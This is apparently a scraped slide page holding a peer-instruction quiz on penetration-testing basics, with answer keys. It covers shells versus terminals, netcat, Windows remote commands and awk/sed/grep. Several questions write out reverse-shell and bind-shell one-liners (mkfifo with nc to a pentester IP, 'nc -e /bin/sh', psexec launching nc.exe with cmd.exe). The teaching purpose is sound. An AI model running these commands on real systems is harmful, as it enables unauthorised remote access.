Penetration Testing & Network Defense

Slides:



Advertisements
Similar presentations
Learning Unix/Linux Bioinformatics Orientation 2008 Eric Bishop.
Advertisements

6 UNIX Network Utilities Mauro Jaskelioff. Introduction Overview of computer networks Network related utilities –Accessing a remote computer –Transferring.
ITP 457 Network Security Network Hacking 101. Hacking Methodology (review) 1. Gather target information 2. Identify services and ports open on the target.
Chapter 8 Files and User Information Utilities. Logical Partitions referred to as file systems like a drive in windows world $ df (display filesystems)
Introducing the Command Line CMSC 121 Introduction to UNIX Much of the material in these slides was taken from Dan Hood’s CMSC 121 Lecture Notes.
Linux+ Guide to Linux Certification, Second Edition
Introduction to Unix – CS 21 Lecture 13. Lecture Overview Finding files and programs which whereis find xargs Putting it all together for some complex.
Guide To UNIX Using Linux Third Edition
Lecture 02CS311 – Operating Systems 1 1 CS311 – Lecture 02 Outline UNIX/Linux features – Redirection – pipes – Terminating a command – Running program.
UNIX Utilities Learning Objectives: 1. To understand the some basic utilities of UNIX File 2. To compare UNIX shell and popular shell 3. To learn Input/Output.
“Linux at the Command Line” Don Johnson of BU IS&T.
MIS Week 7 Site:
Telnet/SSH: Connecting to Hosts Internet Technology1.
1 Day 16 Sed and Awk. 2 Looking through output We already know what “grep” does. –It looks for something in a file. –Returns any line from the file that.
Introduction to UNIX/Linux Exercises Dan Stanzione.
Chapter Seven Advanced Shell Programming. 2 Lesson A Developing a Fully Featured Program.
Advanced Shell Programming. 2 Objectives Use techniques to ensure a script is employing the correct shell Set the default shell Configure Bash login and.
Penetration Testing Training Day Capture the Flag Training.
Linux Tools. Tar tar – (Tape Archive). This is a tool for archiving files and directory hierarchies. tar output can be sent to stdout using the – file.
Chapter 10 Networking and the Internet ITSC 1458.
Week 7 Working with the BASH Shell. Objectives  Redirect the input and output of a command  Identify and manipulate common shell environment variables.
Agenda User Profile File (.profile) –Keyword Shell Variables Linux (Unix) filters –Purpose –Commands: grep, sort, awk cut, tr, wc, spell.
The “File System” Under UNIX, (almost) everything is a “file”: –Normal files –Directories –Hardware –Sockets –Pipes Things that are not files: –Users –Groups.
Advanced UNIX Shell Dr. Tran, Van Hoai Faculty of Computer Science and Engineering HCMC Uni. of Technology
Unix Talk #2 (sed). 2 You have learned…  Regular expressions, grep, & egrep  grep & egrep are tools used to search for text in a file  AWK -- powerful.
Honeypot and Intrusion Detection System
Shell Script Programming. 2 Using UNIX Shell Scripts Unlike high-level language programs, shell scripts do not have to be converted into machine language.
Session 2 Wharton Summer Tech Camp Basic Unix. Agenda Cover basic UNIX commands and useful functions.
Significance of Scripting Languages for Operating System Administration Vladimir Mateljan Željka Požgaj Krunoslav Peter INFuture2007.
Linux+ Guide to Linux Certification, Third Edition
Chapter Five Advanced File Processing. 2 Objectives Use the pipe operator to redirect the output of one command to another command Use the grep command.
Module 6 – Redirections, Pipes and Power Tools.. STDin 0 STDout 1 STDerr 2 Redirections.
Agenda Link of the week Use of Virtual Machine Review week one lab assignment This week’s expected outcomes Review next lab assignments Break Out Problems.
1 CSE 303 Lecture 3 bash shell continued: processes; multi-user systems; combining commands read Linux Pocket Guide pp , , , 118, 122,
Networking in Linux. ♦ Introduction A computer network is defined as a number of systems that are connected to each other and exchange information across.
Chapter Four I/O Redirection1 System Programming Shell Operators.
Searching and Sorting. Why Use Data Files? There are many cases where the input to the program may come from a data file.Using data files in your programs.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Backdoors and Rootkits.
40 Years and Still Rocking the Terminal!
Week Two Agenda Announcements Link of the week Use of Virtual Machine Review week one lab assignment This week’s expected outcomes Next lab assignments.
Lesson 3-Touring Utilities and System Features. Overview Employing fundamental utilities. Linux terminal sessions. Managing input and output. Using special.
Agenda Positional Parameters / Continued... Command Substitution Bourne Shell / Bash Shell / Korn Shell Mathematical Expressions Bourne Shell / Bash Shell.
MIS Week 7 Site:
Integrity Check As You Well Know, It Is A Violation Of Academic Integrity To Fake The Results On Any.
Linux+ Guide to Linux Certification, Second Edition
ORAFACT Text Processing. ORAFACT Searching Inside Files grep - searches for patterns within files grep [options] [[-e] pattern] filename [...] -n shows.
Linux Administration Working with the BASH Shell.
Using Linux Kaya Oğuz Room: 310.
Project CTF Yeganeh Safaei Arizona State University
Tutorial of Unix Command & shell scriptS 5027
Lesson 5-Exploring Utilities
Getting started with CentOS Linux
Some Linux Commands.
Shell Script Assignment 1.
Intro to Ethical Hacking
Tutorial of Unix Command & shell scriptS 5027
Tutorial of Unix Command & shell scriptS 5027
Telnet/SSH Connecting to Hosts Internet Technology.
RECONNAISSANCE & ENUMERATION
SSH SSH is “Secure SHell” Secure, compressed, widely supported, fast
Tutorial of Unix Command & shell scriptS 5027
Unix Talk #2 (sed).
Intro to Ethical Hacking
Metasploit Analysis Report Overview
Getting started with CentOS Linux
Remote Computing Services Cloud connection Distributed system
CSE 303 Concepts and Tools for Software Development
Penetration Testing & Network Defense
Network Penetration Testing & Defense
SHELLSHOCK ATTACK.
Presentation transcript:

Penetration Testing & Network Defense Basics/Preliminaries                     Peer Instruction Questions for Cybersecurity: Pentesting by William E. Johnson, Allison Luzader, Irfan Ahmed is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.

What is a shell? A program that allows a user to display colorized output, clear and redraw the screen, etc. A program that allows a user to send raw commands (stdin) and get a raw response back (stdout) A program that contains a terminal and used to provide additional features to the terminal An exploitation mechanism that allows code to inject itself into a running process A program used to encapsulate and isolate a running binary through emulated system calls (such as Wine) Answer: B Category: Shell vs. Term

What is a terminal? A program that encapsulates a shell to provide more features such as colorized output and the ability to redraw the screen A program that allows a user to send raw commands (stdin) and get a raw response back (stdout) A program that facilitates remote access between machines A program used to encapsulate and isolate a running binary through emulated system calls (such as Wine) A program that allows remote termination of running processes Answer: A Category: Shell vs. Term

What does this pair of commands best accomplish What does this pair of commands best accomplish? mkfifo pipe /bin/sh 0<pipe | nc [pentester IP] 1234 1>pipe Create a local netcat server that serves a bash instance Run a shell script called “pipe” and serve it to a listener on the pentester’s IP Redirect stdin and stdout of a bash instance to a listener on the pentester’s IP Access stdin and stdout of a remotely running bash instance on the local pentester’s IP using a named pipe Answer: C Category: Simple proxy

You’ve established remote shell access to a machine with Netcat You’ve established remote shell access to a machine with Netcat. Which of these commands will not function? cat /etc/passwd whoami more /etc/passwd hostname id Answer: C Category: Shell vs. Term

You’ve established remote shell access to a machine with Netcat You’ve established remote shell access to a machine with Netcat. Which of these commands will function? more /etc/passwd vim /etc/passwd cat /etc/passwd less /etc/passwd top /etc/passwd Answer: C Category: Shell vs. term

You need terminal access to a remote machine to make use of a particular application. Assuming the machine has servers for each of these, which of these utilities will best provide that access? Telnet Netcat tsh SSH A or D Answer: D Category: Shell vs. Term

What does this command accomplish What does this command accomplish? C:\> for /L %%i in (1,1,255) do sc \\192.168.1.%%i query Attempt to connect with SMB to machines on 192.168.1.0/24 and list their running services in a command line Attempt to connect with SMB to machines on 192.168.1.0/24 and list their open ports in a command line Attempt to connect with SMB to machines on 192.168.1.0/24 and list their running services in a .bat script Attempt to connect with SMB to machines on 192.168.1.0/24 and list their open ports in a .bat script Answer: C Maybe this is too much info, but key pieces of information are the variable with two “%%”s indicating this belongs to a script, and sc query queries services Category: Remote access

What does this command best accomplish? C:\> wmic /node:137.30.126.111 /user:administrator /password:password process list full Send full process information to remote node 137.30.126.111 Receive full process information from node 137.30.126.111 Receive full process information for processes started by user “administrator” from 137.30.126.111 Send full process information for processes started by user “administrator” to 137.30.126.111 Answer: B Source: https://www.sans.org/security-resources/sec560/windows_command_line_sheet_v1.pdf Category: Remote access

What does this command accomplish? nc –v –w 2 137.30.126.111 750 Scan port 750 on 137.30.126.111 Open a bind shell on 137.30.126.111 for 750 seconds Access a Netcat listener at 137.30.126.111 on port 750 Create a reverse shell and send to a remote listener at 137.30.126.111 on port 750 Answer: A Category: Port scanning

What does this command accomplish? nc –e /bin/sh 137.30.126.111 750 Scan port 750 on 137.30.126.111 Open a bind shell on 137.30.126.111 for 750 seconds Access a Netcat listener at 137.30.126.111 on port 750 Create a reverse shell and send to a remote listener at 137.30.126.111 on port 750 Answer: D Category: Reverse shell

What does the following command best accomplish. C:\> psexec \\137 What does the following command best accomplish? C:\> psexec \\137.30.126.111 -u myuser –p mypassword C:\nc.exe –l –p 1234 –e cmd.exe Create a bind shell on the local Windows machine that requires a user login Create a reverse shell on the local Windows machine that automatically logs into 137.30.126.111 to provide the shell Log in to and create a bind shell on 137.30.126.111 Log into a reverse shell that was provided to the local machine from 137.30.126.111 Answer: C Category: Bind shell

You’re running this awk command against text output from a recon framework. What are the results? awk -F"," '{print $1, $3, $4}' results.out Insert commas after columns 1, 3, and 4 in the results file Print columns 1, 3, and 4 of a CSV results file Combine columns 1, 3, and 4 of each CSV file in the current directory and print output to results.out Insert commas between columns 1, 3, and 4 and print those to results.out Answer: B Category: awk

You’re running this sed command against a plaintext file You’re running this sed command against a plaintext file. What does it accomplish? sed 's/,/\ /g’ input.txt Add a comma followed by a space between the first two tokens in the file Add a comma followed by a space between each token in the file Replace all spaces with commas in the file Replace the first space with a comma in the file Replace all commas with spaces in the file Answer: E Category: sed

What does this command accomplish. grep 137. 30. 120. 1 file What does this command accomplish? grep 137.30.120.1 file.txt | sed 's/,/\ /g’| awk ‘{print $4}’ > file_.txt Run awk on file_.txt to isolate the 4th column, replace any extraneous commas with spaces, and only print lines that contain “137.30.120.1”, saving to file.txt Find lines in file.txt that contain “137.30.120.1”, replace all commas with spaces, and then print the 4th column to file_.txt Find file.txt on 137.30.120.1, replace all commas in the file with spaces, and print the fourth column out to file_.txt Isolate the fourth column of file_.txt, replace extraneous commas with spaces, and save it to the found file.txt file on 137.30.120.1 Answer: B Category: grep, awk, sed

Given a plaintext output file from a port scanner you’ve run, which of these tools will best help you find sections in the file based on some common pattern? sed awk grep bind A and D Answer: C Category: grep